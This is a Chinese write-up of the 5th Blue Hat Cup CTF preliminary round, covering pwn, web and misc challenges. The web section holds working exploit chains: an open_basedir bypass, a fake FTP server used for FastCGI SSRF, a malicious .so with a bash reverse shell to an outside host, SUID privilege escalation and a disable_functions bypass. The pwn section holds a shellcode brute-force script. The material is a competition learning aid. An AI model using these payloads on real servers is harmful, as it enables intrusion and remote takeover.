第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp

  • A+
所属分类:CTF专场

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp

  • slient

  • Ball_sigin

  • one_Pointer_php

    • 伪造FTP服务器

    • 生成payload

    • 攻击

    • 更骚的办法

  • 冬奥会_is_coming

  • I_will_but_not_quite

  • 嫌疑人x的硬盘


Pwn

slient

存在shellcode执行

去年蓝帽决赛原题:附带解题链接

https://www.cnblogs.com/p201821440039/p/14219506.html

脚本如下:

from pwn import *
elf=ELF('./chall')
EXCV = context.binary = './chall'
#libc=('')
#context.log_level = 'debug'

def pwn(p, idx, c):
    # open
    shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

    # re open, rax => 4
    shellcode += "push 2; pop rax; syscall;"
     
    # read(rax, 0x10040, 0x50)
    shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
    
    # cmp and jz
    if idx == 0:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, c)
    else:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, c)
     
    shellcode = asm(shellcode)
     
    p.sendafter("xecution-box.n", shellcode.ljust(0x40-14b'a') + b'/home/pwn/flag')

idx = 0
var_list = []
while(1):
    for c in range(32127):
        p = remote("8.140.177.7",40334)#nc 8.131.246.36 40334    
        pwn(p, idx, c)
        start = time.time()
        try:
            p.recv(timeout=2)
        except:
            pass
        end = time.time()
        p.close()
        if end-start > 1.5:
            var_list.append(c)
            print("".join([chr(i) for i in var_list]))
            break
    else:
        print("".join([chr(i) for i in var_list]))
        break
    idx = idx + 1

print("".join([chr(i) for i in var_list]))

Web

Ball_sigin

玩出来的

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
web1

one_Pointer_php

感谢buuctf,蓝帽复现环境提供的太及时了,太强了

参考链接:

https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/#i-6

https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/

https://zhuanlan.zhihu.com/p/343918026

源码就俩文件:

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
 $count[++$user->count]=1;
 if($count[]=1){
  $user->count+=1;
  setcookie("data",serialize($user));
 }else{
  eval($_GET["backdoor"]);
 }
}else{
 $user=new User;
 $user->count=1;
 setcookie("data",serialize($user));
}
?>

user.php

<?php
class User{
 public $count;
}
?>

第一部分整型溢出略过

<?php
class User{
    public $count=9223372036854775806;
}
$a = new User;

echo urlencode(serialize($a));
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
?>

第二部分可以通过eval执行代码,发现禁用了好多函数和类,而且做了open_basedir

disable_functions = stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

; This directive allows you to disable certain classes.
; http://php.net/disable-classes

disable_classes = Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException

绕过open_basedir:

mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

可以读取到php.ini啥的,但是flag读取不了,查看权限显示为0400,绝对是要getshell后提权

phpinfo处显示有一个easy_bypass,这个应该是预期解,web pwn

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502153907457

通过phpinfo还可以发现环境是FPM/FastCGI,绕过open_basedir读php.ini可以看到端口为9001

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502154013951

考虑到可以通过攻击FPM来bypass

因为禁用了许多函数和类,普通的ssrf无法使用,但是ftp协议未被禁用

这篇文章讲的挺清楚:

https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/

ftp 协议相对比较复杂, 其中存在一个特性, 相信大家都听说过, 就是 ftp 的数据端口和指令端口是分开的, 我们平时所说的 21  号端口其实是 ftp 的指令端口, 用于发送指令, 比如认证用户和指定读取的文件. 但是如果是传输文件的内容, ftp  实际上会重新打开一个链接, 同时还分为两种模式, 被动模式和主动模式.

这里 wikipedia 讲的比较清楚, 我直接复制一段过来

FTP有两种使用模式:主动和被动。主动模式要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题。所以,创立了被动模式。被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

注意 被动模式只要求服务器端产生一个监听相应端口的进程, 这里有非常重要的一点, 这个被动模式的端口是服务器指定的, 而且还有一点是很多地方没有提到的, 实际上除了端口, 服务器的地址也是可以被指定的. 由于 ftp 和 http 类似, 协议内容全是纯文本, 我们可以很清晰的看到它是如何指定地址和端口的

227 Entering Passive Mode(192,168,9,2,4,8)

227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语, 而  (192,168,9,2,4,8) 代表让客户端连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口. 这样这个如何利用就很明显了, file_put_contents 在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的 pasv 模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到 127.0.0.1:9000. 同时由于 ftp 的特性, 不会有任何的多余内容, 类似 gopher 协议, 会将 data 原封不动的发给 127.0.0.1:9000, 完美符合攻击 fastcgi 的要求.

伪造FTP服务器

import socket

host = '0.0.0.0'
port = 2334
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

conn, address = sk.accept()
conn.send("200 n")
print '200'
print conn.recv(20)

conn.send("200 n")
print '200'
print conn.recv(20)

conn.send("200 n")
print '200'
print conn.recv(20)

conn.send("300 n")
print '300'
print conn.recv(20)

conn.send("200 n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,0,9001n")
print '200'
print conn.recv(20)

conn.send("150 n")
print '150'
print conn.recv(20)
conn.close()
exit()

生成payload

<?php
<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */

/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */

class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */

    private $_sock = null;
    /**
     * Host
     * @var String
     */

    private $_host = null;
    /**
     * Port
     * @var Integer
     */

    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */

    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */

    public function __construct($host, $port = 9000) // and default value for portjust for unixdomain socket
    
{
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */

    public function setKeepAlive($b)
    
{
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */

    public function getKeepAlive()
    
{
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */

    private function connect()
    
{
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */

    private function buildPacket($type, $content, $requestId = 1)
    
{
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF/* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */

    private function buildNvpair($name, $value)
    
{
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */

    private function readNvpair($data, $length = null)
    
{
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */

    private function decodePacketHeader($data)
    
{
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */

    private function readPacket()
    
{
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */

    public function getValues(array $requestedInfo)
    
{
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */

    public function request(array $params, $stdin)
    
{
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        // 输出构造好的请求
        return (urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can't multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
// php5
// ssrf生成payload的话,这里不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock"-1);
$SCRIPT_FILENAME = '/var/www/html/user.php';
$SCRIPT_NAME = '/'.basename($SCRIPT_FILENAME);
// GET参数
$REQUEST_URI = $SCRIPT_NAME;
// POST参数
$content = '';
// 设置php_value利用php://input执行代码
// $PHP_ADMIN_VALUE = "allow_url_include=Onnopen_basedir=/nauto_prepend_file=php://input";
// 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录
$PHP_ADMIN_VALUE = "extension_dir = /var/www/htmlnextension = evil.son";
$res = $client->request(
                      array(
                            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
                            'REQUEST_METHOD' => 'POST',
                            'SCRIPT_FILENAME' => $SCRIPT_FILENAME,
                            'SCRIPT_NAME' => $SCRIPT_NAME,
                            'REQUEST_URI' => $REQUEST_URI,
                            'PHP_ADMIN_VALUE'   => $PHP_ADMIN_VALUE,
                            'SERVER_SOFTWARE' => 'php/fastcgiclient',
                            'REMOTE_ADDR' => '127.0.0.1',
                            'REMOTE_PORT' => '9985',
                            'SERVER_ADDR' => '127.0.0.1',
                            'SERVER_PORT' => '80',
                            'SERVER_NAME' => 'localhost',
                            'SERVER_PROTOCOL' => 'HTTP/1.1',
                            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
                            'CONTENT_LENGTH' => strlen($content),
                                   ),
                      $content
                      );
// 这次也不用二次编码了
echo('gopher://127.0.0.1:9000/_'.str_replace("%2B""+", ($res)));

攻击

先写一个扩展

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/xxxx/2333 0>&1'");
}

编译

gcc evil.c -fPIC -shared -o evil.so

至此我们的恶意so文件生成完毕

恶意so文件编译好上传后

开启恶意ftp服务器

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502154725106

构造file_put_contents

$file = $_GET['file'];
$data = $_GET['data'];
file_put_contents($file,$data);
//http://7e653797-b723-4b3a-8977-5558bdd011e8.node3.buuoj.cn/shell.php?file=ftp://47.104.134.135:2334/anything&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%A5%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F2PHP_ADMIN_VALUEextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evil.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00
//POST:
//a=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);

监听端口,发送请求即可收到shell

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502155201812
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502154940239
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502154952216

flag没权限

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502155046896

使用suid提权,查找有权限的命令

find / -perm -u=s -type f 2>/dev/null
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502155438554

php -a进入交互模式,进行绕过open_basedir并getflag

chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210502155624776

更骚的办法

http://bubb1e.com/2021/04/29/%E8%93%9D%E5%B8%BD%E6%9D%AF2021WP_WEB/#0x02-one-Pointer-php

除了fsockopen这个函数外,还有一个pfsockopen

这俩函数没啥区别

这里只ban了fsockopen

所以我们可以通过将蚁剑插件中的fsockopen全部替换为pfsockopen达到getshell目的

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503224124644

然后加一个9001端口的选项

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503230321062

全部修改完后,重启蚁剑,先写个新的一句话shell.php

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503224150038

用蚁剑连接上这个新的,开启bypass插件

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503230407833

bypass_php_disable_functions的fpm插件会上传.so文件,然后开启一个新的不使用php.ini的php进程并加载恶意so文件,来达到绕过disable_functions的操作

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503230627747

可以看到,蚁剑生成了一个新的.antproxy.php

这个php的作用是把流量转发到新开启的php进程

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503230656027

我们修改或新建蚁剑的链接如下

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503230735250

成功绕过,并且因为php本身suid有root权限,因此不用提权即可直接读取flag

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503230753903
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503230850304

Misc

冬奥会_is_coming

分离图片,找到压缩包

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429115725329

解压出一个MP3,MP3最后面有密文

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429115819092
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429121542312

看看压缩包的注释,发现提示

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429120103164

考虑题目为冬奥会_is_coming,猜测密码为冬奥会开始日期20220204

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429120154731

解16进制

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429120549345

Google一搜,发现编码类型

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429120712293

https://www.dcode.fr/wingdings-font

解出来这个

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429120908642

去github找相应的仓库1cePeak

https://github.com/Tr0jAnV1rU4/1cePeak

git clone下来,发现有被删除的文件,checkout一下

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429121142295
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429121201233

怀疑这是个key,想到第一步从mp3尾部解出的emoji,在线搜一下

https://miaotony.xyz/2021/02/11/CTF_2021NewsCTF/#toc-heading-5

https://aghorler.github.io/emoji-aes/

直接解出flag

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210429121259016

I_will_but_not_quite

对着unctf的附件找了半天,我是弟弟

解压出来是Twin.vmem,内存取证

看系统版本,查文件列表

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503103925802
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503103935712

找所有的图片、压缩包,并提取

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503104046011
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503104055200
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503104545231

那个倒影.zip是UNCTF的题,不用看了,直接看sea.zip

sea.zip中有注释:

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503104627426

暂时不知道啥意思,直接工具全试一遍,发现是outguess+弱口令

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503105146827

双十六进制编码,解出来既是密文

https://www.calcresult.com/misc/cyphers/twin-hex.html

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503105940728

逆加密脚本,得解密脚本

secret = "Vnw3HC07BDgbBWNRGTx2fSckf399V1Z9CxIvHVd6fHsaEnR8fX40NyQ7JhM8CWV5fgMNN24="

def r(s, num):
 l = ""
 for i in s:
  if(ord(i) in range(97,97+26)):
   l+=chr((ord(i)-97-num)%26+97)
  else:
   l+=i
 return l

def x(a, b):
 return chr(ord(a)^ord(b))

secret = secret.decode('base64')
for i in range(97,123):
 last_chr = chr(i)
 tmp_flag = ''
 tmp_flag += last_chr
 for j in range(len(secret)):
  tmp_flag += x(secret[j],tmp_flag[-1])
 tmp_flag = tmp_flag[:-1]
 try:
  tmp_flag = tmp_flag.decode('base64')
  for k in range(1,26):
   flag = r(tmp_flag,k)
   print flag
 except:
  pass
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503233833000

嫌疑人x的硬盘

这是取证题?

给的镜像,有bitlocker,取证大师一把梭就能解

找出来俩文件

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
image-20210503234027021

逆向不会了。


                                               文章作者 | 山警网安实验室

排版 | WHOAMI

审核 | 张璇


本文始发于微信公众号(山警网络空间安全与电子数据取证):第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: